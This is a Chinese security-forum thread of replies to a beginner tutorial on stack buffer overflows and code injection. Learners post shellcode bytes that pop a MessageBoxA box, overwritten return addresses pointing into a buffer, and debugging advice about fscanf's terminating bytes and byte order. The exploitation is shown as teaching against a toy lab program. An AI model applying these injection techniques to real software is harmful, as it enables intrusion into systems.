首页
社区
课程
招聘
[技术专题]软件漏洞分析入门_5_初级栈溢出D_植入任意代码
2007-12-16 17:06 38699

[技术专题]软件漏洞分析入门_5_初级栈溢出D_植入任意代码

2007-12-16 17:06
38699
收藏
点赞7
打赏
分享
最新回复 (112)
雪    币: 2041
活跃值: (261)
能力值: (RANK:330 )
在线值:
发帖
回帖
粉丝
failwest 8 2007-12-17 09:52
26
0
可以试试装两个,我就是两个一起用的
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wdbxm 2007-12-17 10:43
27
0
吱——吱——吱
学习~~ 来晚了
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zhucheba 2007-12-17 13:34
28
0
支持,学习学习
雪    币: 817
活跃值: (1927)
能力值: ( LV12,RANK:2670 )
在线值:
发帖
回帖
粉丝
KuNgBiM 66 2007-12-17 16:08
29
0
failwest费了不少时间和精力,感谢!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
leejingang 2007-12-17 16:29
30
0
顶起来,让更多的人看到
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wdbxm 2007-12-17 19:55
31
0
call 77D505FC     ;MessageA
;后面我把后面一些90改成如下:
83 04 c4                        add esp,0c
68 33114000                 push 00401133  ;返回地址
68 80ff1200                   push 0012ff80
5d                                  pop ebp
c3                                  ret
;后面不变

我遇到的问题是读入数据的时候83 04 c4程序只读了2个字节。83 04 00.后面就没被读入了啊~
是什么原因啊????
真是搞不明白啊!
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wdbxm 2007-12-17 20:05
32
0
call 77D505FC     ;MessageA
;后面我把后面一些90改成如下:
83 04 c4                        add esp,0c
68 33114000                 push 00401133  ;返回地址
68 80ff1200                   push 0012ff80
5d                                  pop ebp
c3                                  ret
;后面不变

我遇到的问题是读入数据的时候83 04 c4程序只读了2个字节。83 04 00.后面就没被读入了啊~
是什么原因啊????
真是搞不明白啊!
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wdbxm 2007-12-17 20:12
33
0
83 c4 0c                       add esp,0c
第一个的2进制码是这个哈·就是读到0c就读不 进去了啊!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
coollineme 2007-12-17 20:44
34
0
函数strcpy把字符“00”视为中止符,复制字符一直到“00”为止……
雪    币: 266
活跃值: (52)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
szdbg 5 2007-12-17 20:57
35
0
不是strcpy的问题,是fscanf函数,这个函数在读文件数据时,碰到 00,09,0A,0B,0C,0D,20 时,就会停止往下读。

所以,在password.txt文件中,不能有上述数据

如果碰巧你的User32.MessageBoxA 函数地址的数值中正好包含上面数据中的某一个的话, 那么,恭喜你,这个实验,你恐怕很难玩成了
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
iupek 2007-12-17 21:03
36
0
这是我的结果,
第三课的
这一课的


课后题还没做,我的想法是,password.txt后面再加汇编代码:跳到"Congratulation! You have passed the verification!\n"上,但是不会加!
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wdbxm 2007-12-17 21:12
37
0
哦,原来如此~~搞了一晚上了·
但是我试了00好像得行哦~
雪    币: 243
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
LULU 2007-12-18 11:29
38
0
快些出下期哟
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 26 2007-12-18 23:41
39
0
哈,做第4排看
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xang 2007-12-19 01:37
40
0
成功了

吱……
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-19 11:56
41
0
shellcode不会写啊,
33 DB  XOR EBX,EBX  压入NULL结尾的”failwest”字符串。之所以用EBX清零后入栈做为字符串的截断符,是为了避免“PUSH 0”中的NULL,否则植入的机器码会被strcpy函数截断。
53                  PUSH EBX  
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166  
8B C4                MOV EAX,ESP  EAX里是字符串指针
53                  PUSH EBX  四个参数按照从右向左的顺序入栈,分别为:
                                                 (0,failwest,failwest,0)
                                                  消息框为默认风格,文本区和标题都是“failwest”
50                   PUSH EAX  
50                   PUSH EAX  
53                   PUSH EBX  
B8 EA 04 D8 77  MOV EAX, 0x77D804EA  调用MessageBoxA。注意不同的机器这里的                                    
                                                                    函数入口地址可能不同,请按实际值填入!
FF D0                 CALL EAX

这里
53                  PUSH EBX  
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166
是干什么的?
eax里面为什么是字符串指针?
本人刚接触,比较苯啦,希望大牛们多多指点,谢谢哦!
另外楼主真的很用心啊,再次感谢,顶,多出些好东西哈!`
雪    币: 31
活跃值: (15)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
fqucuo 4 2007-12-19 21:18
42
0
本来是来发问的,不过看的上面仁兄的问题,先帮你解释一下先吧。
ESP = 栈顶指针 EBP = 栈基地址
每次push 的时候,ESP - 4(32位的啊),
依据
53                      PUSH EBX  
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166  
这3个push,那么ESP就 - 了0ch
由于栈是一个从高向低压数据的结构,那么ESP 自然而然的就是递减,而3个push之后的并且ESP又永远指向栈顶,那么ESP自然而然就指向了字符串的首地址,这样解释不知道理解否。
下面是我的问题:

功能实现了,就是思考题部分,写返回代码的问题,我只是想再多call一个ExitProcess,关进程走人,但是每次在call完MessageBoxA之后就先挂了,填充到栈里的代码也作废了,一直没调试明白,希望高人指点一二!
雪    币: 266
活跃值: (52)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
szdbg 5 2007-12-19 21:55
43
0
第6讲中已经给出了答案
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-20 10:57
44
0
那么如何把字符串放到内存中呢?
原文中的
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166
这2个地址是如何得到的呢?
有没有好点的方法可以直接写字符串进内存呢?
我这样写的:
    mov byte ptr [ebp-0ch],63h ;     
      mov byte ptr [ebp-0bh],6fh ;   
      mov byte ptr [ebp-0ah],6dh ;     
      mov byte ptr [ebp-09h],6Dh ;   
      mov byte ptr [ebp-08h],61h ;     
      mov byte ptr [ebp-07h],6eh ;     
这只是一个参数,如果有多个参数怎么写?并且cpu怎么知道一个参数结束了,新的地址放的是第2个参数呢?是不是参数结尾加个'\0'呢?要加的话要怎么加呢?
感谢fqucuo的回复,thanks!
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lmcc 2007-12-21 03:34
45
0
呵呵 咱也成功了``加油
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lmcc 2007-12-21 03:40
46
0
我弹出自己写的 thankyou了 呵呵 但是这里不能贴图``遗憾啊 和大家分享下 喜悦 呵呵
也不枉我这个时候才睡觉 多谢 作者大大拉 加油写哦! 支持你!
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-21 12:02
47
0
为什么我把返回地址改成buffer的首地址就报错?我的是英文2003操作系统,
The exception Privileged instruction
(0xc0000096) occueeed in the application at location 0x0012fb1c
为什么啊?buffer的地址是没有问题的!
0012FB10                          CCCCCCCC
0012FB14 buffer                31323334
0012FB18 buffer+4            31323334
0012FB1C authenticated   31323334
0012FB20  ebp                  31323334
0012FB24  ip   返回地址       0012FB14
0012FB28 password          0012FB7C
看,返回地址那栏我覆盖成0012fb14,而0012fb14正好是buffer的首地址,为什么直接运行会出上述错误呢?莫名其妙啊!`
雪    币: 266
活跃值: (52)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
szdbg 5 2007-12-21 12:20
48
0
你那0012fb14地方上数据是31323334,又不是指令代码,程序运行到这里来,自然出错.

所以,你要将此处的数据改写成指令码,如何改,failwest 老师已经讲得很明白了...
雪    币: 221
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kingwrcy 2007-12-21 13:14
49
0
好,照你说的继续
换成44个字节的
0012FAF0                 5853DB33    buffer
0012FAF4                 74736577    buffer+4
0012FAF8                 69616668
0012FAFC                 53C48B6C
0012FB00                 B8535050
0012FB04                 773BD8DE  user32.MessageBoxA
0012FB08                 9090D0FF
0012FB0C                 90909090
0012FB10                 90909090
0012FB14                 90909090
0012FB18                 90909090   buffer+44
0012FB1C                 0040106C  justt.0040106C  authenticated
0012FB20                 90909090   ebp
0012FB24                 0012FAF0   ip 返回地址

这次0012faf0总是可执行的机器码了吧?
全是跟failwest一样的,MessageBoxA的地址是我本机的地址为
0x77380000+0x0003d8de=0x773bd8de
MOV EAX,0X773BD8DE对应的指令为B8 DE D8 3B 77
上图已经说明了凋用的MessageBoxA没有问题了,可是还是没有弹出消息框!
报错为:
The exception Breakpoint
Abreakpoint has been reached
(0x80000003) occurred in the application at location 0x0012fa6c
好象说是什么碰到什么断点了,可是我没没有下任何的断点啊?究竟是怎么回事?
雪    币: 266
活跃值: (52)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
szdbg 5 2007-12-21 13:46
50
0
堆栈上的数据有问题,你构造password.txt文件上数据不对

前四个数据怎么是:5853DB33 (好像你填写数据的高低字节顺序全部弄反了)

应该是:33DB5368, 堆栈上的数据应该应形成以下指令码:
33 DB                  XOR EBX,EBX
53                     PUSH EBX  
68 77 65 73 74  PUSH 74736577  
68 66 61 69 6C  PUSH 6C696166  
8B C4           MOV EAX,ESP
53              PUSH EBX
50              PUSH EAX  
50              PUSH EAX  
53              PUSH EBX  
B8 EA 04 D8 77  MOV EAX,0x77D804EA  调用MessageBoxA。注意不同的机器这里的                                    
FF D0           CALL EAX  

在OD的反汇编窗口中,你可以看看是不是这样的代码? 不要在堆栈中看
游客
登录 | 注册 方可回帖
返回